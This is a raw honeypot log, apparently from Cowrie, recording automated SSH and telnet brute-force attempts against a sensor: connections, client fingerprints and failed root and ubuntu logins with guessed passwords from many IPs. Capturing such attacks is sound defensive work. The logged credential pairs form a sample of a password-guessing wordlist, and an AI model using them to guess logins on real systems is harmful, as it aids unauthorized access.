{"eventid":"cowrie.login.failed","username":"root","password":"zazaza","message":"login attempt [root/zazaza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:05.491726Z","src_ip":"38.93.206.2","session":"f63486f0db41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:06.545295Z","src_ip":"38.93.206.2","session":"f63486f0db41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":35084,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a689c5e7042","protocol":"ssh","message":"New connection: 43.135.182.46:35084 (159.203.135.109:22) [session: 3a689c5e7042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.549852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.554068Z","src_ip":"43.135.182.46","session":"3a689c5e7042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.622342Z","src_ip":"43.135.182.46","session":"3a689c5e7042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":42516,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd9ca6b71baa","protocol":"ssh","message":"New connection: 72.17.34.38:42516 (159.203.135.109:22) [session: dd9ca6b71baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.905121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.910281Z","src_ip":"72.17.34.38","session":"dd9ca6b71baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sinha","message":"login attempt [root/sinha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.928429Z","src_ip":"43.135.182.46","session":"3a689c5e7042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:08.944760Z","src_ip":"72.17.34.38","session":"dd9ca6b71baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilfried","message":"login attempt [root/wilfried] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:09.118815Z","src_ip":"72.17.34.38","session":"dd9ca6b71baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:09.999857Z","src_ip":"43.135.182.46","session":"3a689c5e7042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:10.157460Z","src_ip":"72.17.34.38","session":"dd9ca6b71baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":60300,"dst_ip":"159.203.135.109","dst_port":22,"session":"df50e722ae03","protocol":"ssh","message":"New connection: 43.130.31.151:60300 (159.203.135.109:22) [session: df50e722ae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:16.883868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:16.888628Z","src_ip":"43.130.31.151","session":"df50e722ae03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:16.956979Z","src_ip":"43.130.31.151","session":"df50e722ae03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ispconfig","message":"login attempt [root/ispconfig] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:17.264624Z","src_ip":"43.130.31.151","session":"df50e722ae03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":45250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8575bb1ca32","protocol":"ssh","message":"New connection: 209.99.184.143:45250 (159.203.135.109:22) [session: a8575bb1ca32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:17.453464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:17.457778Z","src_ip":"209.99.184.143","session":"a8575bb1ca32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:17.553598Z","src_ip":"209.99.184.143","session":"a8575bb1ca32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWEasdzxc","message":"login attempt [root/!@#QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:17.974131Z","src_ip":"209.99.184.143","session":"a8575bb1ca32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:18.335742Z","src_ip":"43.130.31.151","session":"df50e722ae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:19.074416Z","src_ip":"209.99.184.143","session":"a8575bb1ca32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39976,"dst_ip":"159.203.135.109","dst_port":22,"session":"540253accee5","protocol":"ssh","message":"New connection: 37.233.85.71:39976 (159.203.135.109:22) [session: 540253accee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:24.413371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:24.418170Z","src_ip":"37.233.85.71","session":"540253accee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:24.525604Z","src_ip":"37.233.85.71","session":"540253accee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"353535","message":"login attempt [root/353535] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:24.838798Z","src_ip":"37.233.85.71","session":"540253accee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:25.947812Z","src_ip":"37.233.85.71","session":"540253accee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58226,"dst_ip":"10.17.0.5","dst_port":23,"session":"f068a001d624","protocol":"telnet","message":"New connection: 192.119.13.58:58226 (10.17.0.5:23) [session: f068a001d624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:54:43.692126Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":53984,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e85f7153df","protocol":"ssh","message":"New connection: 103.75.182.198:53984 (159.203.135.109:22) [session: 39e85f7153df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:04.042062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:04.050886Z","src_ip":"103.75.182.198","session":"39e85f7153df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:04.295211Z","src_ip":"103.75.182.198","session":"39e85f7153df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15426378","message":"login attempt [root/15426378] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:05.037623Z","src_ip":"103.75.182.198","session":"39e85f7153df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:06.287283Z","src_ip":"103.75.182.198","session":"39e85f7153df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":45568,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f1d2d7cac3b","protocol":"ssh","message":"New connection: 202.79.29.108:45568 (159.203.135.109:22) [session: 4f1d2d7cac3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:07.585167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:07.589984Z","src_ip":"202.79.29.108","session":"4f1d2d7cac3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:07.854664Z","src_ip":"202.79.29.108","session":"4f1d2d7cac3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2wsx@WSX","message":"login attempt [ubuntu/2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:08.926025Z","src_ip":"202.79.29.108","session":"4f1d2d7cac3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:10.189416Z","src_ip":"202.79.29.108","session":"4f1d2d7cac3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":54096,"dst_ip":"159.203.135.109","dst_port":22,"session":"39b18b6ee0d3","protocol":"ssh","message":"New connection: 209.99.184.143:54096 (159.203.135.109:22) [session: 39b18b6ee0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:18.373030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:18.377582Z","src_ip":"209.99.184.143","session":"39b18b6ee0d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:18.473476Z","src_ip":"209.99.184.143","session":"39b18b6ee0d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qq@","message":"login attempt [root/123456qq@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:18.891148Z","src_ip":"209.99.184.143","session":"39b18b6ee0d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:19.991158Z","src_ip":"209.99.184.143","session":"39b18b6ee0d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":38460,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a487a5e9540","protocol":"ssh","message":"New connection: 72.17.34.38:38460 (159.203.135.109:22) [session: 9a487a5e9540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:21.995338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:55:22.000069Z","src_ip":"72.17.34.38","session":"9a487a5e9540","protocol":"ssh"}
